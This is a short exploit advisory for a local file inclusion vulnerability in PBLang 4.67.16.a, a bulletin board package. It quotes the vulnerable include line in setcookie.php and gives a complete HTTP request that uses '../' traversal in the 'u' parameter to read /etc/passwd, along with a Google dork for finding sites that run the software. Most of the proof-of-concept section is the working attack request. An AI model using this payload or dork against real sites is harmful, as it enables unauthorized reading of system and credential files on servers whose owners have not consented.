PBLang Bulletin Board System – Local File Inclusion
||\\ || || || |-\\ //-| ____ ________ __________ || \\ || || || | |\\ //| | | \ | ______| |_______/ / || \\ || || || | | \\ // | | | _ \ | | / / || \\ || || || | | \\ // | | | |_) | | |______ /`'__\ / / || \\ || || || | | \\ // | | | _ < | ______| \ \ \/ / / || \\ || ||_______|| | | \\// | | | |_) | | |______ \ \_\ / / || \\|| |_________| |_| |_| |_____/ |________| \/_/ /_/ ______________________________________________________________________________________ # Exploit Title: [PBLang local file include vulnerability] # Google Dork: ["Software PBLang 4.67.16.a"] # Date: [12/03/2012] # Author: ~Pseudo: [Number 7]; ~ Twitter:[@TunisianSeven]; ~ Blog: [http://tunisianseven.blogspot.com/] # Software Link: [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip] # Version: [4.67.16.a] # Tested on: [wINDOWS,Linux] ______________________________________________________________________________________ Proof of concept: In setcookie.php include($dbpath."/members/".$u); In order to successfully perform this attack the attacker must have the full path where the files are uploaded, and it is easy to get making a request like this: GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1 Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU Host: localhost:80 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) For requests like this i use acunetix :D ______________________________________________________________________________________ |